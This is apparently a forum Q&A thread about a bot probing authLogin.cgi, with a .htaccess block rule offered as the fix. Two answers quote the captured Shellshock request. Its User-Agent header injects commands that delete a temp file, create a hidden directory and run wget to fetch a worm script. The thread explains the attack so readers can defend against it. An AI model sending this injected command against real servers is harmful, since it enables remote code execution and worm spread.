Answer 1

Finally i denied those client to access the cgi-bin directory.

in cgi-bin directory i created a .htaccess file

I added following line in .htaccess

Deny From all.

Answer 2

If you try to open this file, what happens?

D:/Program Files/Ampps/www/cgi-bin/authLogin.cgi

The message indicates that the file does not exist, as indicated by the 404 error and the message "script not found".

Answer 3

There is a Web bot trying to get authority so it can wget and execute something like S0.py, which I imagine is a worm so the download server is compromised. Id like a copy of S0.sh if you happen to get one give it to exploit-db or something like it. The clever command is: Get /cgi-bin/authLogin.cgi HTTP/1.1.Host: 127.0.0.1.User-Agent:() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget

The file is executed following download. I suppose there's something about HDB_DATA, which I don't even have. "Information is Paramount!"

Answer 4

I don't think authLogin.cgi really matters other than it might allow someone to execute. The problem is that the user tries to or successfully removes /tmp/S0.sh and make a directory php in the share folder and then execute wget.

/bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget

Here is what came up after all that time of wondering: http://jrnerqbbzrq.blogspot.com/2014/12/a-little-shellshock-fun.html

"S0.sh consists of two main parts ... the first part does the initial setup and downloads additional programs, and then the second part installs the worm and executes some additional commands."

So it was a real treat catching this action and initially no one knew to call it Shellshock. There is a copy of S0.sh there and you can see it's a worm, which I presumed was the case.

From what I read the worm is just browsing the IP space looking for anyone listening to port 8080.
